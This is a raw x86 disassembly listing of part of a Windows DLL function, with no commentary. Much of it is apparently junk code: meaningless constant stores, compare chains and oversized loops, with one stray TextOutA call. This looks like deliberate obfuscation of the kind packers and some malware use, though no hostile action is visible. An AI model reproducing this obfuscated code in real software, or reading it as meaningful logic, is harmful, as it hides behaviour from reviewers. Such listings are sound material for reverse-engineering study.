jmp 0x1003a4d8
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x79c], 0x53ea3a72
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 2
jl 0x1003a4c7
mov dword [ebp - 0x4c], ebx
jmp 0x1003a4f2
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x2e0]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], esi
jl 0x1003a4e3
mov eax, dword [ebp - 0x20]
mov ecx, 0xffff
cmp ecx, eax
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x48]
je 0x1003a511
mov eax, edi
cmp dword [ebp - 0x1c], ebx
jne 0x1003a513
mov eax, ebx
xor edx, edx
cmp eax, 0xc77d
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, 0xffffffff
sbb eax, eax
xor edx, edx
neg eax
cmp eax, edi
mov eax, dword [ebp - 0x48]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0x7d02268f
setge al
imul eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
sub eax, 0xd44f4cc5
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x48]
test eax, eax
jne 0x1003a57d
mov ecx, ebx
cmp dword [ebp - 0x1c], ebx
je 0x1003a57f
mov ecx, edi
mov eax, dword [ebp - 0x48]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x48]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2e0]
setne cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x2e0]
dec dword [eax + 8]
call fcn.10031417
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 6
jle 0x1003a497
mov dword [ebp - 0x1c], ebx
jmp 0x1003a5cc
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x358]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003a5bc
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0xa
call fcn.10031417
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x18], 0xbc662a2b
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x44], 0x5fba2522
push edi
call fcn.10031395
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x14], 0xe5e2e4b
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x14], ebx
jmp 0x1003a63c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x178]
mov dword [eax + ecx*4], 0x230b63e9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003a629
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
je 0x1003a65e
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
xor edx, edx
inc dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
imul ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setne dl
add eax, 6
add eax, edx
imul eax, eax, 0xffff
test eax, eax
je 0x1003a6c0
mov dword [ebp - 0x14], ebx
jmp 0x1003a699
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x558], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003a68c
mov dword [ebp - 0x40], ebx
jmp 0x1003a6b5
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x558], 0xea5d840d
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jl 0x1003a6a4
jmp 0x1003a83c
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x48], 0xbaa9d707
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x50], 0x88841f9f
mov dword [ebp - 0x14], ebx
jmp 0x1003a6ed
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x598], 0xe228c51f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003a6dc
mov dword [ebp - 0x40], 0xa
cmp dword [ebp - 0x40], 2
jle 0x1003a817
push 5
pop esi
mov dword [ebp - 0x18], 0xffff
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x1c], ebx
jmp 0x1003a801
mov dword [ebp - 0x30], edi
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x178]
cmp dword [eax + ecx*4], ebx
jne 0x1003a80a
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x178]
cmp dword [eax + ecx*4], ebx
je 0x1003a744
mov eax, dword [ebp - 0x20]
dec dword [ebp - 0x20]
imul ecx, dword [ebp - 0x34], 9
sub ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x594]
setg cl
xor edx, edx
cmp ecx, esi
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp edi, ecx
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x732bab2
setle cl
cmp ecx, 0x480b0deb
je 0x1003a796
mov edx, edi
cmp dword [ebp - 0x44], ebx
jne 0x1003a798
mov edx, ebx
mov eax, dword [ebp - 0x48]
xor ecx, ecx
cmp edx, eax
setle cl
sub ecx, esi
mov dword [ebp - 0x14], ecx
je 0x1003a7b3
cmp dword [ebp - 0x594], ebx
je 0x1003a7b3
mov ebx, edi
mov eax, dword [ebp - 0x178]
xor edx, edx
mov ecx, dword [eax]
mov eax, dword [ebp - 0x18]
add ecx, ebx
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x38]
setg bl
xor ecx, ecx
cmp ebx, eax
setl cl
xor edx, edx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
add ecx, 0x57a8
cmp eax, ecx
setge dl
xor eax, eax
cmp edx, 0xffffffff
setl al
mov dword [ebp - 0x14], eax
inc dword [ebp - 0x1c]
xor ebx, ebx
cmp dword [ebp - 0x1c], ebx
jle 0x1003a71b
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jg 0x1003a706
mov dword [ebp - 0x48], 0x13
jmp 0x1003a836
mov dword [ebp - 0x34], 0x4ae9822c
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x50], eax
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xfffffffb
jle 0x1003a820
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003a8f4
mov dword [ebp - 0x44], 0x1e83
cmp dword [ebp - 0x44], 0x2133
jle 0x1003a8be
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov esi, ebx
mov eax, edi
cdq
idiv esi
mov eax, ecx
mov ecx, edx
shl eax, cl
lea ecx, [ebp - 0x8d0]
cdq
push edx
push eax
call fcn.1000d910
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003a885
mov eax, dword [eax]
push eax
call fcn.10050146
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x8d0]
call fcn.10031721
mov ecx, dword [ebp - 0x18]
inc esi
cmp esi, 0x1676
jl 0x1003a862
inc edi
cmp edi, 0x6a97
jl 0x1003a860
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x801a
jl 0x1003a85e
xor edi, edi
inc edi
push 0x530
push ebx
push 0x1ca5
push 0x424
push 0x911
call dword [sym.imp.GDI32.dll_TextOutA]
cmp dword [ebp - 0x44], 0x1cd4
jge 0x1003a8ed
push 0x1000add0
call fcn.10050146
pop ecx
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0xa
call fcn.10031417
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x14], ebx
jmp 0x1003a91c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x804], 0x4ec2e0cf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1003a90b
mov dword [ebp - 0x3c], ebx
jmp 0x1003a935
mov dword [ebp + eax*4 - 0x804], 0xf94f378
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 4
mov eax, dword [ebp - 0x3c]
jl 0x1003a927
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x21], bl
mov dword [ebp - 0x14], 0x4ff8
cmp dword [ebp - 0x14], 0x5157
jle 0x1003a9ae
mov eax, ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x44], 0x7e0d
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x18]
mov eax, esi
mov ecx, 0x1060f818
cdq
idiv edi
and edx, ebx
mov eax, edx
cdq
push edx
push eax
call fcn.10031280
inc edi
cmp edi, 0x295c
jl 0x1003a96a
inc esi
push 0
pop ebx
cmp esi, 0x413
jl 0x1003a965
mov dword [ebp - 0x30], 4
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x14], 0x4dc2
jge 0x1003a9f2
mov edx, 0x1000ae64
mov ecx, 0x1060f818
call fcn.10032d2a
jmp 0x1003a9f2
push edi
lea ecx, [ebp - 0x2f8]
mov dword [ebp - 4], 0xa
call fcn.10031395
mov dword [ebp - 0x28], 0x278b7212
mov dword [ebp - 0x40], ebx
jmp 0x1003aa22